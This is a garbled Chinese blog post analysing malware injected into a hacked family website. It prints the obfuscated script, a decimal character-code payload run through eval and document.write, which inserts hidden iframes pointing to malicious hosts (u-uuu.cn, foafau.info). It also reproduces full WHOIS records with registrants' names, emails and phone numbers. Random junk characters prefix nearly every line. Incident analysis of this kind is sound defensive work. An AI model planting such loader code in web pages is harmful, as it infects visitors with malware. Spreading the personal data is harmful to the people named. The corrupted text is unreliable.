首发在我的博客里面，
;=,-C ;` QWOPCoU et http://www.areway.cn/?p=175 7_ix&oVI z)C}}NH*!@ 4u i q'- 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
i6V$ m hL 6# U~>r/ <script>t=’60,105,102,114,97,109,101,
rQ* w 3F?: 32,115,114,99,61,104,116,116,112,58,47,47,
iXm&\.% 102,114,101,101,46,117,45,117,117,117,46,99,
~k&b 110,47,101,114,114,111,114,46,104,116,109,
U6/7EOW , 32,119,105,100,116,104,61,49,48,48,32,104,
Jt5V{9:(' 101,105,103,104,116,61,48,62,60,47,105,102,
lt uV2.$ 114,97,109,101,62′;
/= ;,lC t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
; 9j ]P56 +=J $:/&U <script>t=’60,105,102,114,97,109,101,32,115,
r[V %DU$dj 114,99,61,104,116,116,112,58,47,47,102,114,
&5-1Cd E 101,101,46,117,45,117,117,117,46,99,110,47,
anW['!T9{s 101,114,114,111,114,46,104,116,109,32,119,
~Yd[&vpQ 105,100,116,104,61,49,48,48,32,104,101,105,
/FN:yCf 103,104,116,61,48,62,60,47,105,102,114,97,
vE ) N6Ss 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
8~O#@hB~3 document.write(t);</script>
I]eeV+U8W x >a h, <html xmlns=”
P{ )D_Bi http://www.w3.org/1999/xhtml g*b`o87PI “>
-
2L(])t6 <head>
r:V
bjmL <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
L!xFhVA< <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Q (f0S <title>首页 - 爱生活家庭网
Dh`&B _5 SvZ;4 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
7310'wc 转换字符串后的大概内容是（谁点击后果自付）：
N%f" W&ci <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
#-YbZ ?-c|c_|$ 查询玉米u-uuu.cn的详细信息：
t, %m-dU Domain Name: u-uuu.cn
c-hc.i}! ROID: 20070901s10001s64972306-cn
"^z%|uXkf Domain Status: ok
x ,^-a Registrant Organization: 王雷
ZOfv\(iJ; Registrant Name: 王雷
m~Pk ]~j Administrative Email:
czlovexs@126.com ~:JAWs$\V Sponsoring Registrar: 北京万网志成科技有限公司
bji#ID2]% Name Server:ns.yovole.com
TI3xt- / Name Server:ns1.yovole.com
6k0Awcr Registration Date: 2007-09-01 17:54
9!=4}:+ Expiration Date: 2008-09-01 17:54
,5zY1C==Ut 最后PING了一下地址 都没有什么….
1L::Qu%E :.AC%'S 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
3Y# <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
WILa8"M <script language=”javascript” src=”
f.J^HQ_ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script |I1,9ex >
!X7z y9 这个玉米应该有可能是木马作者的：
O83J[YuzjN foafau.info的详细信息：
O;4S<N Access to INFO WHOIS information is provided to assist persons in
R^` }DlHX determining the contents of a domain name registration record in the
#"6 l+} Afilias registry database. The data in this record is provided by
:i>LESJq Afilias Limited for informational purposes only, and Afilias does not
Ru`afjc guarantee its accuracy. This service is intended only for query-based
5*2hTM! access. You agree that you will use this data only for lawful purposes
&]a(5 and that, under no circumstances will you use this data to: (a) allow,
8US35t:M enable, or otherwise support the transmission by e-mail, telephone, or
Gs"lmX-{$j facsimile of mass unsolicited, commercial advertising or solicitations
FMCA~N to entities other than the data recipient’s own existing customers; or
W2XWb<QSEV (b) enable high volume, automated, electronic processes that send
:a Cf@:'] queries or data to the systems of Registry Operator, a Registrar, or
yI 8 O# Afilias except as reasonably necessary to register domain names or
TkTGYh modify existing registrations. All rights reserved. Afilias reserves
eH UyV@ the right to modify these terms at any time. By submitting this query,
{s@!N you agree to abide by this policy.
EB&hgz&_ Domain ID:D22418703-LRMS
Ijiw`\ ; Domain Name:FOAFAU.INFO
\
&|xMw[ Created On:20-Nov-2007 16:05:42 UTC
qWK} Last Updated On:20-Nov-2007 16:05:44 UTC
7|=SZ+g Expiration Date:20-Nov-2008 16:05:42 UTC
!Dc?9W!b Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
$ xW9)) Status:CLIENT DELETE PROHIBITED
GjEV]hqR Status:CLIENT RENEW PROHIBITED
G$Y F0Nc Status:CLIENT TRANSFER PROHIBITED
NUnwf
h Status:CLIENT UPDATE PROHIBITED
0* x ?rO? Status:TRANSFER PROHIBITED
Nb lPVxS Registrant ID:GODA-040110615
uD{-a$6z Registrant Name:liu hong
;PMPXN'z6 Registrant Organization:
%62|dhl6 Registrant Street1:beijing
([$KXfAi]h Registrant Street2:
A?HDY_u Registrant Street3:
ksU& q%1 Registrant City:beijing
9u=]D> kb Registrant State/Province:
JT}"CuC Registrant Postal Code:100000
x!I@cP#O Registrant Country:CN
Wp
=
]YO Registrant Phone:+86.860108888777
Z5rL .a& Registrant Phone Ext.:
^'N!k{x Registrant FAX:
|7|'J Ty Registrant FAX Ext.:
rk=w~IZJ3 Registrant Email:bbbshiji@163.com
dW/(#KP/+ Admin ID:GODA-240110615
) %Xp ?H_ Admin Name:liu hong
_ @\-`>J Admin Organization:
9r\p4_V Admin Street1:beijing
@&H Lm^j2O Admin Street2:
zfU j%N Admin Street3:
|C./gdq Admin City:beijing
7h/Mkim$5 Admin State/Province:
d>J
+7ex+ Admin Postal Code:100000
um PN=0u6 Admin Country:CN
nUq@`G Admin Phone:+86.860108888777
1 h(n}u Admin Phone Ext.:
;(E]mbV'= Admin FAX:
De$Ic"Z9L Admin FAX Ext.:
M Ir[_ Admin Email:bbbshiji@163.com
Xl$r720ZJr Billing ID:GODA-340110615
E\4ZUGy 0 Billing Name:liu hong
uuHs) Billing Organization:
*W | Billing Street1:beijing
F'<XB~ &o Billing Street2:
7zQGuGo( Billing Street3:
l66 QgPA Billing City:beijing
4t*VI<=<[ Billing State/Province:
w'i+WEU>l Billing Postal Code:100000
BThrv$D} Billing Country:CN
#m7evb5eg* Billing Phone:+86.860108888777
g>ke;SH%KY Billing Phone Ext.:
'U @Ep Billing FAX:
l;z+E_sQ Billing FAX Ext.:
)@ B ! Billing Email:bbbshiji@163.com
W:f )#' Tech ID:GODA-140110615
Tpnwwx[]:| Tech Name:liu hong
|&S^L}V.C Tech Organization:
Ei,dO;& Tech Street1:beijing
=*(_sW6; Tech Street2:
e'|P^G>g Tech Street3:
FzsW^u+ Tech City:beijing
h /aG."U Tech State/Province:
G^P9_Sw]d3 Tech Postal Code:100000
: gk n`z Tech Country:CN
o 8^! wGY Tech Phone:+86.860108888777
4. %/u@rAi Tech Phone Ext.:
z2.OR,R}] Tech FAX:
ODCN~7-@ Tech FAX Ext.:
H-&
ktQWK3 Tech Email:bbbshiji@163.com
xjDaA U, Name Server:NS27.DOMAINCONTROL.COM
q/7T-"q/G Name Server:NS28.DOMAINCONTROL.COM
L {f0r !d| Name Server:
Ov:U3P?% Name Server:
t]t(/x# Name Server:
]R"n+LnI:= Name Server:
-oju-gf K Name Server:
# B$_ily) Name Server:
p)7U%NMc(* Name Server:
Fvv/#V^R Name Server:
I*+*Wf Name Server:
oXwc il Name Server:
0Z AtBq.s Name Server:
\ o? 0oyZlv* 接着下载每个文件里面的代码：
O,&p"K&Z 一步一步看..
%[?{H} y 
Q `h@-6N 
5zJ#d}%}S" 
A{hST~s 
}N3Ur~X\ 
_rUsb4r 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
